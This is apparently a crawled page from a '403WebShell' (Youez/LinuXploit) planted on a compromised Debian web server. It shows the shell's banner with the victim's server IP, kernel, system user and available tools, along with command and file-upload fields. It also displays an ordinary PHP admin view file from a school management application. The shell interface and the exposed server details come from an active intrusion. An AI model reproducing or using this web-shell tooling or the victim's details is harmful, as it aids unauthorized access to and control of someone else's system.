Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/application/views/backend/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/application/views/backend/admin/parent.php
<?php
/*********************
 *********************
 Indian Controller : "Parent_old_old.php"
 Indian Template : "parent_old.php"
 controller fix 23 avril 2019
 Aernout Guillaume
 http://codes.solutions
 *********************
 *********************/
 ?>
<hr />
<div class="row">
 <div class="col-md-12">

     <!------CONTROL TABS START------>
   <ul class="nav nav-tabs bordered">
     <li class="active" id="tabList">
             <a href="#list" onclick="window.location.replace('/parents');"  data-toggle="tab"><i class="entypo-menu"></i>
         <?php echo get_phrase('parent_list');?>
                     </a></li>
     <li id="tabAdd">
             <a href="#add" data-toggle="tab"><i class="entypo-plus-circled"></i>
         <?php echo get_phrase('add_parent');?>
                     </a></li>
     <li id="tabEdit">
             <a href="#edit" data-toggle="tab"><i class="entypo-feather"></i>
               <?php echo get_phrase('edit_parent');?>
                           </a></li>
   </ul>
    <!------CONTROL TABS END------>
<div class="tab-content">
  <br>
  <!----TABLE LISTING STARTS-->
  <?php include 'parent/listing.php'; ?>
  <!----TABLE LISTING ENDS--->
  <!----CREATION FORM STARTS---->
  <?php include 'parent/add.php'; ?>
  <!----CREATION FORM ENDS-->
  <!----EDITION FORM STARTS---->
  <?php include 'parent/edit.php'; ?>
  <!----EDITION FORM ENDS-->
</div>
<!-----  DATA TABLE EXPORT CONFIGURATIONS ---->
<!-- assets -->
<style>
.info-box{
  position: fixed;border-radius: 10px;top: 16%;left: 25%;/* display: none; */height: 80px;padding: 12px;color: white;text-align: center;background-color: red;
}
.info-box-green{
  position: fixed;border-radius: 10px;top: 16%;left: 25%;/* display: none; */height: 80px;padding: 12px;color: white;text-align: center;background-color: green;
}
</style>
<!-- assets -->
<script type="text/javascript" src="/assets/js/csajax/backend/parent.js"></script>
<!-- Initialize the scripts-->
<script type="text/javascript">

 jQuery(document).ready(function($)
 {
    $("#parent_edit").select2();
    $(".select2-chosen").addClass("text-left");

    $("#parent_edit").append($("#parent_edit option").remove().sort(function(a, b) {
     var at = $(a).text(), bt = $(b).text();
     return (at > bt)?1:((at < bt)?-1:0);
     }));
     $("#parent_edit").prepend(new Option("-- Select Parent --",0));
     $("#parent_edit").val(0);

   <?php
    if(isset($edit)){
    echo  "ajaxLoad($edit);";
    }
    if(isset($presence)){
      echo  "displayPresence($presence);";
    }
   ?>


     var datatable = $("#table_export").dataTable();

     $(".dataTables_wrapper select").select2({
       minimumResultsForSearch: -1
     });
     //ajax action
     $("#saveParent").click(function(){ajaxSave();});
     $("#editParent").click(function(){ajaxEdit();});
     $("#deleteParent").click(function(){ajaxDelete();});
     //$("#assignParent").click(function(){ajaxAssign();});
     //$("#presenceParent").click(function(){ajaxPresence();});

     //dynamic interactions
    /* $('#course_name').change(function() {
       var id = $('#course_name').val();
       showLesson(id);
     });
*/
     $('#parent_edit').change(function(e) {
       if (e.originalEvent !== undefined)
        {
          var id = $('#parent_edit').val();
          ajaxLoad(id);
        }
       else{
         console.log('js trigger');
       }
     });
     $('.datePick').datepicker({dateFormat: 'yyyy-mm-dd'});
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit